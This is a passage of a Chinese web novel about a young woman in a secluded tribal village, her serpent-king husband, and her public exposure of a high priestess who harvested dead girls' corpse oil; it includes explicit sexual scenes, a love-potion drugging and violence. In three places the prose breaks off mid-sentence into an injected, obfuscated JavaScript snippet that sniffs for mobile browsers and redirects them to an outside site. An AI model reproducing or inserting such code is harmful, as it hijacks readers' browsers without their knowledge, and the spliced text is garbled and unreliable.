长生宫内囚禁的这些无辜少女,终于,得到了救赎。 阿乞还蹲在地上哭得上气不接下气:“姐姐,师父……” 银杏心累地捂耳朵:“她们是解脱了,是好事,你别哭了。” 阿乞愤怒捶地,嚎啕嚷嚷:“她们解脱了,我呢?我没有姐姐,也没有师父了!” 银杏见劝不了他,只能自己转身先走了。 “你想哭,就在这哭一夜吧,大不了我明天再来接你,我不行了,我要回家睡觉,我眼皮子都睁不开了。” 我看了眼瘫坐在地,亟需发泄的阿乞,晓得他一夜之间即没了姐姐又没了师父心里难受,哭一哭反而会对他好些,就也打算先回家,容他一人先静静。 转身要走时,我忽然又想到还没带上的蛇王大人。 这蛇心眼可小了,我要是再敢自己跑路不喊他,回头他说不准会用如何刻薄的言语谴责我呢…… 主动拉上蛇王大人的手,我说:“咱们也回家。” 他一愣,略有几分意外:“你……长出良心了?” 我噎住:“怎么说话的呢,我一直都很有良心好不好。” 他老实跟上,这会子竟乖得离谱:“是么?” 我拿他没办法地牵他下山:“好啦,青漓,我们回家!” 跟在身后的他,这次沉默了好几分钟。 许久,才沉沉道:“好,回家。” —— 凌晨三点,我终于躺在了自家舒服的大床上。 不过,今晚的蛇王大人却格外有分寸,刚回来不等我询问他想睡哪间房,他就先提出要进戒指内修养了。 老实的让我感觉不正常…… 然而,清晨五六点天刚亮那会子,我才猛地意识到终究是自己想多了。 这家伙就是个不折不扣的大色狼! 湿滑的长身缠住我腰肢,低头往我胸口蹭。 奈何我实在困得厉害,没功夫管他,推了他两回无用后,我便索性平躺在床上任他宰割了…… 锋利的甲片小心翼翼刮蹭着我大腿内侧,惹得我体内一阵燥热,心虚不平。 只是,今日的他,似在极力克制着游弋在灵魂深处的**…… 与我亲近,也仅限于蹭蹭,却不进去。 粗重的喘息声里夹杂着病态的闷哼,湿凉的蛇信子轻轻舔舐着我的心口…… 长尾越收越紧。 也不晓得他到底在克制什么。 又不是第一次了,至于这么忍吗? 何况前几回他不是挺热衷于这事的么…… 难不成结个婚,还把他结的没兴趣了? 果然,婚后的男人都是一个德行。 腰窝被他蹭得酥痒难耐,我也愈发有些控制不住自己了…… 本是平静无澜的心里竟也被他撩得徐徐生出一把烈火。 片刻后,我忍无可忍地猛地抱住他,转身侧睡,故意用膝盖小心摩擦他腹部的鳞甲—— 早前我不回应倒还好,一回应,他喘得更严重了。 恍惚中,我惊觉他开始进入正题了…… 但下一秒,他就慌促逃离。 我一头雾水地勉强睁开沉重眼皮,却发现身边空空如也,早已没了他的影子。 这条小心眼的蛇,又在折腾什么呢。 上午九点,我浑浑噩噩地起床洗漱。 这个时辰,她们也该来了…… 可让我意外的是,第一个敲响我家大门的人,竟是赵二。 我没放赵二进院子,这种人来我家就是脏了我家的门槛! 我看见他的第一反应便是立马关门,但大门却被他及时一掌抵了住。 杵在门口的男人一脸着急地犹豫着同我开口:“鸾妹……我知道你生我的气,我今天是特意来和你道歉的!” 我扳着门框与他暗暗较劲:“我不接受!” 泼我脏水,差点害我丧命,他一句和我道歉就能抵消?真以为我是脑子里进水的圣母啊! 我用力把门框往外扳,他也拼命将门板往里推,为难的迫切道: “后来我不是帮你说话了吗?是我向大祭司提议把你送进长生宫,你不是、还没有被杖杀吗。 鸾妹,从小到大,整个月阴村的姑娘数你性子最好,你什么时候变得如此斤斤计较了?” 我没忍住嗤笑出 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“我不了解宋花枝?”我听罢忽无语地笑出声,抬眼盯住赵二,淡淡问道:“你说她有苦衷?那她,到底有什么苦衷?是有人把刀架在她脖子上,逼她去和那些山精野怪缠绵吗?” “我、” 赵二一哽,回答不上来,良久,又嘴硬道: “她是个心善的姑娘,这些年来,她身为阴苗族圣女肩负着守护阖族的重任,本就压力大,你又何必,揪着她一丁点错处不放呢? 那晚,我是去找了花枝,我只是怕你们姐妹之间有误会。我想着,等她告诉我真相,我再转告你,再怎么说,你们也是血缘至亲……” 我听不下去地冷冷打断他:“哦?那为什么后来却变成你反咬我一口,把与野仙家苟合的脏水泼向了我?!” “我、我也是迫不得已……” 赵二底气不足地低头小声说: “我去问花枝,谁知花枝情绪太激动,委屈地要撞墙……她都那样了,我肯定是相信她的。 她一定是被逼的,我也不敢再多问。后来,大祭司告诉我,花枝做的这一切都是为了阴苗族,我这才明白,花枝一直在为我们忍辱负重。 山里野仙家那么多,花枝如果不牺牲自己,怎么能为我们阴苗族换来太平……花枝,也是受害者。” 我一时竟不知该说他蠢,还是该夸他单纯,“所以你就颠倒黑白,为了保护她,帮她报复我?” “不是报复!” 赵二赶忙摆手,自诩深情地注视着我,认真道: “花枝是圣女,还是个未出嫁的姑娘。她是神娘娘转世,族里的长生泉需要她用纯洁之身供养。 如果被人知道她已非完璧,族人们肯定会怪她的。 她还没出嫁就破了纯洁身子,别人的风言风语会毁了她的!” “原来你也知道名声受损风言风语会毁了一个姑娘,那你护着她的同时,又为何非要诋毁我! 哪怕你当日选择隐瞒真相后,再帮我作一句证,顺口说一句,我是被冤枉的,我也不会怪你。 可你偏偏,非要用污蔑我的方式,来保护她!” 第39章 本尊,快不了…… 想起那天在娘娘庙的场景,我真后悔自己从前还拿他当真心挚友,是我瞎了眼,看错了他! 他见我恼火震怒,赶忙捞住我的手紧紧握在掌中,一脸真挚道: “不是的鸾妹,我只是觉得,如果不找个人背下罪名,没法彻底洗清花枝身上的嫌疑…… 鸾妹,你的名声已经受损了,可花枝的名声还是干干净净,反正,族人们从头到尾都以为与野仙家在一起的人是你,既然这样,就算你再背一次锅,也是无所谓的。 鸾妹,你姐姐和你不一样,你姐姐是圣女,是神娘娘转世,她这辈子是不能嫁人的,她如果背上与野仙苟合的罪名,会被人戳一辈子脊梁骨的。 她本就压力大,精神不好,如果再沾染闲言碎语,她会活不下去的! 你就不同了,你抗压能力好,就算你背下与野仙私通的黑锅,族人们的流言蜚语也压不垮你的…… 况且,二哥知道你是清白的,有二哥相信你,不就足够了吗? 鸾妹你放心,二哥会一辈子信你!鸾妹,听二哥的话,别再闹了,不要再找你姐姐的麻烦了。 二哥答应你,哪怕你名声不好,二哥也还喜欢你,村里没人肯要你,二哥娶你!” “哪怕我名声不好,你也还喜欢我?村里没人要我,你娶我?” 我顿时感觉脑瓜子被气得嗡嗡的,深呼一口气,努力冷静下来,迎上赵二那故作深情的目光,好笑道: “你是不是觉得,自己这番话说得还蛮情真意切感天动地?娶我?你也配! 赵二,你觉得你的喜欢是什么天大的恩赐吗?你的喜欢如果能救赎一个被人恶意损毁名声的女孩,你怎么不去救宋花枝呢? 你也知道自己的喜欢不值一文,甚至你这个人,在阴苗族月阴村都是无足轻重,所以你不敢把宋花枝供出来,因为你清楚,她惹下这么大的一个烂摊子,你根本替她收拾不动! 所以你就索性把我推出去给你心目中生性善良大仁大义的圣女背黑锅。你不是喜欢我,而是牺牲我,你不用付出任何代价! 什么去找她问清真相,真相你早就亲眼目睹,你还需要问什么真相?! 你说你相信我是清白的,可我本来就是清白的,我需要的不是你相信而是一个公道一个真相被公之于众的机会!” “鸾妹,我都说了我可以娶你,你还总纠结什么清白不清白,人来世上走一遭,清白也是一辈子不清白也是一辈子!清白能当饭吃吗? 你如果肯就此罢手,还能得到大祭司与花枝圣女的刮目相看。 现在老祭司已经走了,鸾妹,你本来就是大祭司的女儿,你如果肯主动示好,和大祭司与花枝圣女服个软,大祭司说不定就会接你回家。” 握住我的双肩,赵二厚颜无耻地强迫道: “这件事二哥替你决定了!我马上就去找大祭司与花枝圣女,和她们说你愿意认罪,承认与野仙苟合的人就是你,这样大祭司就能免除罚你去献祭长生泉的重罪了!” “你给我滚!” 我挣扎着想掰开他的脏手,但他却故意将我的双肩越攥越紧,自以为是道: “鸾妹,你听话,花枝圣女是你亲姐姐,你们一母同胞哪有什么隔夜仇。等你年纪再大些,会感激我的! 鸾妹,你要相信我对你的真心,我娶你,我不介意你不是纯净之身,也不介意你嫁过灰狐仙,过一阵子我就让我妈去找大祭司议亲,风风光光把你娶进家门。 过几年你再给我多生几个儿女,我们这一生,就圆满了!” 我被恼得气喘吁吁,忍无可忍的一巴掌用力扇在了他的脸颊上。 他被我扇得脸一偏,一个趔趄差点没站稳脚,鼻血顿时飚出半尺高! 不等他回过神,我就举起胳膊握住腕上的莲花镯,用意念驱使镯内飞出数根红丝。 红丝线打穿男人的双肩与双臂,男人陡然痛得惨叫连连,刚后退半步,就被红丝裹成蝉蛹卷扔出了十米外。 我放下胳膊喘着粗气恶心道: “想娶我?做你的**梦去吧!你算什么东西也敢做我的主!感激你?傻子才会感激逼死她的刽子手,我就算嫁过灰狐仙也比你干净! 你不会真以为我蠢到相信你的花言巧语,会被你牵着鼻子走吧?同样的坑我不会跌进去两次!赵二,你可真会享受,竟然妄想、姐妹共侍一夫!” 被裹成蝉蛹的赵二还在门口十米外不安分地蛄蛹,听见这话,瞬间惊慌的红了脸: “鸾、鸾妹……你怎么、你是不是误会些什么了?我只是看在花枝是圣女,我们从小又常在一起玩的份上,才想帮她……” 我懒得听他废话,打断道: “闭嘴吧你!你身上的腥臭味我刚开门就闻见了!赵二,赵叔老实憨厚,一辈子为月阴村尽心尽力,怎么就生了个你这么恶心肮脏的儿子!你根本,不配做赵叔的孩子!” 什么去找宋花枝了解真相,我看是他对宋花枝动了淫念,想去找宋花枝也体验一番世间极乐吧! 我当初真是瞎了眼才觉得他人还不错! “鸾妹,不是这样的,你听我解释鸾妹,我是……” 我不想听他狡辩,重重关上院门,把他挡在了门外。 抬手看了眼掌心里的鹅黄色阴蛊粉,刚才他抓我胳膊的时候,我趁机偷偷往他身上抹了点。 赵二,我本来是不想对你耍阴招的,但这都是你自找的…… 我愣在槐花树下走了神,掌心的阴蛊粉散发出萤萤黄光…… 我顿觉喉头发紧,头皮发麻,身上一时像有万千蚁虫在胡乱攀爬、啃噬我的筋骨…… 完了!沾我自己身上了! 我慌忙冲去井边,把手按进了盛满井水的木盆里。 阴蛊粉遇水融了大半,但仍有一部分已经悄然进入了我的体内…… 我用力搓手,直至掌心通红才把手拿出来。 可,还是为时已晚。 身上好热、骨头好酥、心底躁动…… 好想…… 不行,不能想! 只是这阴蛊粉的威力,好像比我想象中的还要猛…… 我体内还有那什么鸳鸯缠,它该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033879|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会、一不小心,把那鸳鸯缠也给诱发了吧! 想到这个可能,我忽觉得,天都塌了! 还是得尽快解蛊。 淬魂蛊的解法是什么来着! 我像热锅上的蚂蚁,急得在井边团团转…… 身上越来越烫,我克制不住地胡乱扯衣领让冷风灌进去。 对了,想起来了! 不过……我一个人好像,办不到。 实在不行……找便宜老公吧! 说干就干,我猛地摇晃手上戒指,急着喊他:“蛇王大人……青漓,你快出来!” 希望我这么晃他,他飞出来不会一道雷劈死我。 里面的蛇王感应得倒快,我话音刚落,他就一道青光飞了出来,落地化成神清玉骨的清隽男人。 “又有什么事……” ‘事’字的尾音还没说完,我就如狼似虎地扑了过去,所幸前几次折腾早已有了经验,这次蹂躏起他来,格外得心应手。 撞进他的怀里,我伸手臂勾住他脖子,二话没说就生猛地吻住了他的薄唇。 他一僵,眼底的不耐顷刻化作春潮徜徉,和光万缕。 俊脸一阵酡红。 我厚着脸皮抓住他一只手,也不管什么矜持淑女了,又急又怕地拉他往腰下带,丢人地踮起脚尖扒在他身上,松开他的淡色薄唇,欲哭无泪道:“我一不小心让淬魂蛊进入我体内了,蛇王大人,救我啊……” 他怔愣蹙眉:“淬魂蛊?” 我尴尬咬咬牙:“就是迷情香!” 他背上一震:“……” 我强压下身体的不适,委屈对上他嫌弃无语的目光,无泪干嚎:“你帮帮我啊!我难受**,万一诱发了我体内那什么鸳鸯缠,我就完蛋了!” 他拿我没办法地沉沉叹了口气,凝视我的眼神里有无奈也有心疼,没故意拖延时间折磨我,一条手臂按住我的后腰,没好气地亲近附在我耳畔提示:“抱紧本尊。” 身体比脑子快一步做出反应,我连忙伸胳膊搂紧他的脖子。 皓皓银发温柔地拂过我手背。 他轻车熟路解开我镶着银饰铃铛的绣花腰带,骨节分明的修长玉手探进我裙摆,小心翼翼地帮我纾解不适…… 背上不觉间又洇开一层薄汗。 他突然按下指腹。 一声细弱的嘤咛悄然溢出鼻尖。 踮起的脚尖绷得酸疼。 “你、快点……”我难熬得紧,忍不住催促。 他却在此时存心和我唱反调,边与我亲密,边附在我耳边,低低与我咬耳私语:“你知道的,本尊,快不了……” 我:“……” 好想咬他一口。 但我知道,咬他的代价很有可能是反被他咬死。 毕竟他这个品种的蛇……应该有毒。 但是我的脚,好酸。 要撑不住了。 他有点不满我的哼哼唧唧,忽然弯腰将我抱起来,带到紫藤花架下,矮身坐下,将我放在腿上。 接着为非作歹。 这回比之前还要磨人,我焦急地昂起脖颈,喘着粗气颤颤反抗:“你、别这样……” 第40章 是你在陷害母亲与姐姐 谁知话刚说完,他就低头含住了我的唇,将我的所有不满都给无情吞噬。 臭青蛇,霸道蛮横不讲理! 待在他身边我迟早被他榨干了! 原本几分钟就能解掉的淬魂蛊,我却被他按腰折腾了近一个小时。 直到门口再次有动静,他才警觉地睁开碧海星辰色的幽青深眸,依依不舍地放开我。 化作青光重新飞回我的戒指内。 而我也骤然清醒,赶忙起身手忙脚乱地整理衣裙。 两分钟后,有人撞开我家院门闯了进来。 领头的正是村里最喜欢给大祭司当爪牙的中年男人许三筒。 当年大长老闭关,长老会就完全落进了大祭司的手里。 长老会那些打手原本只听大长老调度,但后来却因大祭司接手,那些打手的统领权就被大祭司交给了她的忠实舔狗许三筒。 也是因为许三筒本人就是狗仗人势的嚣张败类,所以长老会的打手们在他的带领下,渐渐从训练有素维系一族安稳的正义队伍变成了一群雁过拔**所过之处寸草不生的土匪。 现在族人们哄小孩,提长老会比提山里**猴子都管用! 毕竟,长老会每次出动,都必然见血。 闯进门的许三筒一见到我就笑得面目狰狞,搓搓手掌猥琐道:“果然逃回来了!” 脸色倏然一变,许三筒目光狠毒地咬牙切齿下令:“来啊,给我把这个妖孽带去祖祠!” 大手一挥,长老会的打手们立马朝我蜂拥而来。 我后退一步厉声呵斥:“不用你们抓我!我自己过去!” 说完,我主动推开那些碍事的男人,径直走出门往祖祠方向去…… 月阴村,祖祠大堂。 宋淑贞及族内几位上了岁数,所谓的‘德高望重’的老头们面向供案上的牌位,伫立在正堂万古流芳匾额下—— “长生泉,那可是我们阴苗族的命啊!现在长生宫被烧,她宋鸾镜损害的已不单单是我们月阴村的气运了,而是我们整个阴苗族的气数!” “对啊,这个宋鸾镜实在太不像话了!老祭司在时,她倒是乖顺懂事,陪在老祭司身边走南闯北,颇有见识。如今老祭司刚过世,她就接连做下这一桩桩恶事,实在是让我们伤心失望啊!” “大祭司,你可不能因为她是你的女儿,就继续偏袒于她了,这次,必须要烧死她祭天给我阴苗族列祖列宗一个交代!” 几位族老说完,祖祠里肃立的老少族人们就迫不及待地激动附和:“对!烧死她!” “她是个祸害,早知她不安分,当日在娘娘庙就该直接将她杖杀!可怜大祭司一片慈母之心,才想着让她去长生宫死得有价值些,可她却辜负大祭司的好意,竟敢在这种大日子里,烧毁长生宫!” “长生宫烧完了,一切都完了啊!” “大祭司多年的心血,圣女多年的供养,终究还是毁在了那个孽障的手里!” 我在众人的口水讨伐下大步迈进了祖祠。 刚进门,分站在两侧的族人们就等不及地冲我破口大骂: “你这个祸害,你烧毁长生宫,就是想断我阴苗族的未来啊!” “你还敢出现!你这个扫把星害人精!当初老祭司就不该阻止大祭司**你!” “今天我们就要当着列祖列宗的面,把你烧死!” 屋里众人气势汹汹,大祭司与族老们听我进门,也纷纷转身看向我。 我镇定直视立在上首一袭墨袍的尊贵女人,四目相对,大祭司眯了眯狭长的凤眸,手握权杖,一脸寒意的厉声斥责: “好大的胆子!竟敢纵火烧毁长生宫,看来,还是本祭司对你太过心慈手软了,留着你,只会害了我阴苗族。今日族人们与诸位族老都在,本祭司要替天行道,亲手、清理门户!” 我站在祖祠盘龙揽繁星的藻井下,冷嗤一声,讥讽笑道:“昨晚,宋花枝应该也伤得不轻吧?” “你!”大祭司顿时怒目圆瞪,抬掌就要用巫术封我的嘴,幸好我及时操纵莲花红玉镯勉强挡了下来。 不过,我清楚以我现在的实力,还不能抗衡宋淑贞太久,便立即转身面向人群中的一对苍老夫妇: “你的女儿,是十三代玉女楚梅,楚梅死于落水溺亡,她死后半个月,被大祭司带人强行挖棺,送入了长生宫,自那以后,你们连做梦,都没再见过你们的女儿!” 相互依偎的老夫妻闻言一怔,霎时红了双眼。 我再次将视线落在另一对年轻些的夫妇身上: “你的女儿,是十四代玉女蒋荷,死因不明,你只知道她是在夜中突然暴毙,第二天你们两口子喊她起床的时候,她的尸体都僵了! 你们本打算将她厚葬,让她入土为安,可大祭司找到你们,告诉你们,如果你们女儿送入长生宫,你们家就会转运,就会越来越有钱。 你们穷怕了,考虑了一夜,还是决定把闺女献祭出去,从那以后,你们每天捕的鱼,拿到街上,都能全部卖完。 你前两天还在路边捡到了两百块钱,所以即便蒋荷托梦向你们求救诉苦,你们也不理她,甚至还在梦中斥责她不该出来胡闹,警告她能被送入长生宫做长生玉女是她的荣幸,是光耀门楣的大好事,命令她乖乖听大祭司的话! 你们明明都看见她很痛苦,全身都是伤口了,可你们为了自己,还是选择无视她的苦难!” 话音落,年轻夫妇脸色煞白的心虚往人群里又躲了躲…… “还有你的女儿,第八代玉女冯玉珠。” 我扭头直视发丝凌乱、却面上涂脂抹粉、穿着光鲜亮丽的中年妇人,将她盯得瑟瑟发抖: “你女儿被屋角掉落的碎瓦砸破脑袋,死于失血过多。你还有个儿子,只是那个儿子一生下来就体弱多病,十二岁那年甚至还患上了有钱都治不了的绝症。 你为你女儿办后事当晚,大祭司找到你,同你讲,只要你把你女儿送入长生宫,献祭长生泉,你儿子的病就能好起来。 你为了治好你儿子,二话没说就把你女儿的尸体从棺材里搬出来交给了大祭司……这些年来,你每天都在害怕午夜梦回会看见你的女儿。 但你,却从未有过一丝后悔,所以,你女儿哭着同你喊疼喊妈的时候,你紧闭双眼视若无睹,一声都不敢回应!” “你怎么会知道这些事?!”蒋家父母总算是反应了过来,激动得面红耳赤质问我。 我扫视众人,无奈冷笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033880|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为我在长生宫见到了你们的女儿,她们说,她们很痛苦,她们想回家,她们想爸妈,可她们的爸妈,却不要她们!” “没有,我没有!” 我才说完,楚梅的父母就崩溃地扑了出来,痛哭解释: “我怎么会不要自己的女儿呢!她可是我们的宝贝闺女啊!我们老两口,一辈子,也就只有这一个心肝儿……她遭遇不测,我们也痛彻心扉啊!这么多年过去了,我们还是会没日没夜地想她啊!” “你说你见到了我们的孩子……” 第十代玉女的父亲焦急跑到我面前,拉住我的手老泪纵横地询问: “我家燕儿怎么样了?我的燕儿还在吗!” “玉女帮族里供养长生泉,怎么会痛苦受伤呢?” “我的孩子想家了,大祭司,我孩子想家了我要接她回家!” 玉女们的家属反应越来越激烈,宋淑贞眼见着情况愈发不可控,厉声斥道: “一派胡言!宋鸾镜,死到临头还在这妖言惑众!大家不要被她的谎言给骗到了!她烧毁长生宫,她才是害死那些玉女的凶手!长生宫被焚毁,你们的女儿也会魂飞魄散!” 我闻言气极而笑,果断反驳:“就这么急着把你们干的好事往我头上安?继续朝我泼新的脏水?” 转身面向众位族人,我硬气的当场指控: “各位叔伯长辈各位族老,你们都被大祭司给骗了!长生宫里供奉着假娘娘,囚禁着十七名无辜少女的冤魂! 长生泉,根本不是靠圣女的纯洁之身所供养,宋花枝也根本没有能让延年益寿百病尽消的本事,你们的女儿并不是被送进长生宫供养长生泉,真正让长生泉有长生之效的灵物,是你们女儿的尸油!” “尸油?” “长生泉里……加了尸油?!” “怎么可能!” 祖祠里的族人们瞬间乱成了一团,交头接耳的聒噪议论了起来。 “胡言乱语,大家不要被她的妖言给迷惑了!”大祭司怒不可遏地猛一挥袖,瞬间一股强大的巫力便重重撞击进我的灵魂,将我猛地掀翻在地—— 我被她的巫力劈得心口一阵裂痛,扑通摔倒在地,差点撞吐我一口老血。 我咬紧牙关强忍着身上的疼痛,捂住心口不服输的艰难半撑起身子,继续揭穿真相: “与野仙苟合的人是宋花枝!宋花枝早就不是什么纯洁之身了,你们都被大祭司母女俩给骗了,宋花枝去长生泉洗澡只是大祭司为了稳固宋花枝圣女身份演的一出戏! 大祭司挑选的长生玉女皆是纯阴命格的未婚女孩,只有她们尸油,才能让长生泉有长生之力! 这十七年来,已经有十七个无辜女孩因此丧命了!你们每年奉为神水的长生泉水,其实就是尸油稀释的尸水! 大祭司和宋花枝,就是两个**凶手!” 用尽全力喊出这些话后,我撑不住地倒地大口喘气。 大祭司目眦欲裂的紧攥权杖冷肃狡辩: “宋鸾镜,你以为你编出这些谎言就真会有人相信?宋鸾镜,你小小年纪心思怎么如此阴毒,连自己的亲母亲与姐姐都陷害!” 原本还聒噪争吵的族人们的听她这么一说,顿时寂静一片。 第41章 在祖祠门前偷情 捋着花白胡子的族中元老最先亮嗓子站队宋淑贞: “宋鸾镜!就算你自幼便不在你母亲膝下长大,就算你母亲没养过你,你与你母亲母女缘浅,你也不能这么污蔑你母亲! 族人们,大祭司可是我族首领,大祭司为我阴苗族劳心劳神了半辈子,我们阴苗族哪个人没有受过大祭司恩惠? 大祭司这些年来全心全意守护着我们阴苗族,我们大家都有目共睹嘛,切不可让一个无耻宵小之辈得了逞,伤了大祭司与圣女的心啊!” 随即又有老顽固附和:“就是,大祭司与宋鸾镜二者之间,我们肯定无条件信任大祭司!” “宋鸾镜现在还不忘污蔑圣女,也不想想当初那灰狐仙下聘的婚书上写的是谁名字,又是谁被当面指认,在娘娘庙里勾引族中男子,连胸衣都落在了外男手里,还好意思说自己是清白的,攀咬别人!” “我看她就是嫉妒圣女!宋鸾镜,前几天在娘娘庙赵二都已经亲口证明在娘娘庙与野仙苟合的人就是你了,人证物证俱在,你何必再白费口舌!” “就是!这种女人,就该沉塘!如此浪荡不知廉耻,留在族中难保以后还会生出什么更恶劣的事端,大祭司,别和她浪费时间了,直接把她绑起来,烧死她!” 族中的女人们凶神恶煞地盯着我,一致要求:“对!烧死她!” “烧死这个浪荡的小狐狸精!” 我瞧着眼前这一张张丑陋利己的嘴脸,恶心的嗤笑出声…… 不过,没等大祭司顺理成章的下令处死我,就有一名壮年男子匆匆自外跑进祖祠,气喘吁吁地亢奋道:“大、大祭司!齐老刘老张老王老!外、外面的蒿草地里,有、有声音!” 正一门心思急着处置我的齐老不耐烦地捋胡子:“蒿草地里能有什么声音,大惊小怪的!滚滚滚,没看见里面正处理正事吗?!” 壮年男子红着脸紧张解释:“是,男人和女人的声音!哎呦**的,脱得干干净净的,都不避人,就在祖祠正对面!刚才我路过的时候,一眼就看见了那男人白花花的屁股……” “什么!”白胡子老头听完惊得差点两眼一翻厥过去,原地跳脚震怒道:“大白天的干这种事也就算了,还在祖祠正门口光屁股!反了天了!这简直是在污我月阴村的风水!” 说着,还老当益壮地从长老会打手手里抢走一只棍子,火急火燎地招呼**步迈出去:“乡亲们,跟我去抓奸,我倒要看看是哪个倒霉催的敢在我月阴村祖祠门口撒野!” 在祖祠正对面? 赵二……玩这么大! 祠堂里的族人们一呼百应,纷纷拿了棍棒气愤跑出门。 而手握权杖的大祭司却在此刻狐疑地瞪了我一阵,半晌,才拎着权杖大步跟出去。 她在怀疑我。 不过,也没怀疑错。 这种好戏,我当然也要出去赶个新鲜了。 人是在距离祠堂只有五百米的荒草地里找到的。 荒草地的另一头紧邻溪流,如今正值农历四五月份,正是田间草木生长茂盛的时节。 本来用做种红薯的荒田如今还在闲置着,田埂上长满了一米多高的蒿草与飘摇如瀑的芦苇。 蒿草高大且深,围着水边密密生长,形成了一片天然帷幔。 而躲在水边大汗淋漓、放飞自我的两人此刻就在蒿草另一头努力拼搏着。 震得周边蒿草一个劲地颤动摇晃。 “二哥,二哥你好厉害……” 女子不堪入耳的嘤咛声像小猫低叫,如此绵软无力,婉转勾魂的语调,听起来与往日高高在上的圣女大人,完全不像,天壤之别。 我差点都以为赵二这家伙勾错了人。 不过,就算勾错人也无妨,未婚偷情被这么多人看见,又是在祖祠正前方干这种事,这些自诩正义的族人族老们肯定不会放过他,一顿板子必然是免不了的。 打他一顿,就当是报他上次污蔑我的仇了。 这下让他也尝尝声名狼藉的滋味! 齐老拎着棍棒,自作聪明地抬手阻止了尾随在后的众人靠近,自己蹑手蹑脚地举起棍子,一步步走近蒿草深处,打算去亲自捉奸。 没想到齐老都奔七十了,对捉奸这种事,还如此热衷。 由于两人挑的地方好,空旷、静谧,因此,两人的浪荡喘息声便一道不差地灌入了所有人耳中…… 包括赵二说的那句:“妹妹,你说,是我的体力好,还是**的活好?” 众人再度屏气凝神。 宋淑贞似瞬间意识到了什么,抬眸瞳孔一震,张嘴就要呵斥…… 但,怪的是她好像突然又被人下了定身术…… 一个字眼还没蹦出去呢,人就已经僵了。 全身上下,唯有那双瞳孔不断放大的漆眸还能动。 啧,天不助她啊! 里面的女人还在大言不惭夸赞赵二:“当然是赵二哥劲儿大……赵二哥,人家真的好喜欢你……比起那些全身带**的玩意儿,你可干净白嫩几万倍。” 站在不远处的族人们闻言骇然面面相觑。 有人小声蛐蛐了一句:“族里还有女孩子偷偷和野仙家苟合了?!” 又有人轻回:“不知道啊!” 齐老举着棍子突然跑起来,冲进去就是对里面白花花的男女一顿乱打:“还干净白嫩,还劲儿大!一对不要脸的狗男女,我打死你们,打死你们!” 紧接着蒿草深处就传来男女的凄惨尖叫声…… 众人只见皮肤白皙的男女在蒿草那头左右逃窜,却没见到两人的正脸,不过有耳尖的族人已经靠声音分辨出了那两人的身份—— “这男子……是赵二!女人的声音,怎么那么像……圣女。” 此话一出,众人目光立即齐刷刷投向大祭司。 但他们视为主心骨的大祭司,此刻连眼珠子都不能动了。 只能被迫绷直身体,目光直视前方,面无表情地紧攥乌灵木权杖,眼睁睁目睹这一切的发生却无力阻止…… 有人见状,拍拍胸脯舒口气:“大祭司没反应,那应该不是圣女。” “我就说嘛,圣女冰清玉洁,怎么可能干出这种事!” 恰好里面两人跑累了,挨打也挨得承受不住了,男人便拉着女人冲出蒿草地,本想逃跑来着,一手拨开齐胸高的野草,却陡然发现外面人更多! 可笑的是两人都是光溜溜的,未着寸缕,这么一冲出来,几乎全村人都看见了他俩布满暧昧红痕的玉体…… 尤其是女方,胸口还遗留着两排鲜红的牙印,一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038496|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是刚咬上去的。 不过宋花枝比赵二聪明,全程都用赵二的贴身白汗衫捂着脸不让别人看见她的面容,妄想用这种方式蒙混过关…… 老当益壮的齐老没几秒就举着棍棒追了出来,趁两人发愣,从后一棍子又重重敲在了宋花枝细皮嫩肉的肩膀上,往宋花枝后背淬了口老痰,怒不可遏地骂道:“奸夫**,败坏族风的玩意儿,我打死你们!” 心疼女儿的大祭司含恨咬碎了一口银牙。 还要再打,赵二倒挺仗义抬手将宋花枝护在了身后,一把接住齐老的棍子,着急将错往自己身上揽: “齐老!是我,我、我也是情不自禁,求您看在我爸的份上,高抬贵手放过我们吧!” 族人们瞠目结舌地盯着偷情的两人,“还真是赵二!” “赵村长家,怎么就出了他这么、败坏门风的浪荡玩意儿呢!” 齐老咬牙切齿的逼问道: “你也知道疼,也知道这样做丢人啊!赵二福,你竟敢在祖祠正前方干这种腌臜事,坏我们月阴村的风水,我看你是不想活了! 给我让开,说!这是哪家的女儿!趁着大家都在,我倒要问问她的父母是怎么管教她的,**就和男人在草地里私会,要不要脸了! 这么急着找男人,行,把她送去落花房,让她好好为咱们阴苗族做点贡献!” 落花房,这是我第三次听人提起这个地方。 平日里,落花房是咱们阴苗族的禁语,因为那个房子里,关的都是些犯错的女人。 而进了落花房的女人,会被锁住手脚,关一辈子,沦为整个阴苗族男子的发泄物,不停为阴苗族的男人孕育子嗣,生下来的孩子没人知道亲爹是谁,阴苗族所有人也都默契的不去追究孩子是哪个男人的血脉。 